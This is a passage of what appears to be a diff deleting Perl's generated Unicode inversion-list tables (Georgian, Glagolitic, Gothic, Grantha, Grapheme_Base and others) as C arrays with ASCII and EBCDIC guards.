0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_GEOMETRICSHAPES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x25A0, - 0x2600 -}; - -static const UV PL_GEOMETRICSHAPESEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F780, - 0x1F800 -}; - -static const UV PL_GEOR_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x589, - 0x58A, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1100, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E -}; - -static const UV PL_GEORGIANSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D00, - 0x2D30 -}; - -static const UV PL_GLAG_invlist[] = { /* for all charsets */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x484, - 0x485, - 0x487, - 0x488, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2E43, - 0x2E44, - 0xA66F, - 0xA670, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B -}; - -static const UV PL_GLAGOLITICSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1E000, - 0x1E030 -}; - -static const UV PL_GONM_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A -}; - -static const UV PL_GOTH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10330, - 0x1034B -}; - -static const UV PL_GRAN_invlist[] = { /* for all charsets */ - 51, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0xBAA, - 0xBAB, - 0xBB5, - 0xBB6, - 0xBE6, - 0xBF3, - 0x1CD0, - 0x1CD1, - 0x1CD2, - 0x1CD4, - 0x1CF2, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x20F0, - 0x20F1, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_GRBASE_invlist[] = { /* for ASCII/Latin1 */ - 1583, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA0, - 0xAD, - 0xAE, - 0x300, - 0x370, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61E, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70E, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x830, - 0x83F, - 0x840, - 0x859, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E6, - 0x9FE, - 0xA03, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA41, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA83, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC1, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE6, - 0xAF2, - 0xAF9, - 0xAFA, - 0xB02, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB78, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC41, - 0xC45, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC78, - 0xC81, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD62, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDD0, - 0xDD2, - 0xDD8, - 0xDDF, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE3F, - 0xE47, - 0xE4F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF48, - 0xF49, - 0xF6D, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xFBE, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1360, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1735, - 0x1737, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1E, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B4C, - 0x1B50, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1BFC, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E00, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x302A, - 0x3030, - 0x3040, - 0x3041, - 0x3097, - 0x309B, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C4, - 0xA8CE, - 0xA8DA, - 0xA8F2, - 0xA8FE, - 0xA900, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA954, - 0xA95F, - 0xA97D, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E5, - 0xA9E6, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E1, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A40, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE5, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1104E, - 0x11052, - 0x11070, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11136, - 0x11144, - 0x11150, - 0x11173, - 0x11174, - 0x11177, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112F0, - 0x112FA, - 0x11302, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x1135D, - 0x11364, - 0x11400, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x11600, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A50, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C30, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF5, - 0x16AF6, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16E, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA8C, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D0, - 0x1E900, - 0x1E944, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_GRBASE_invlist[] = { 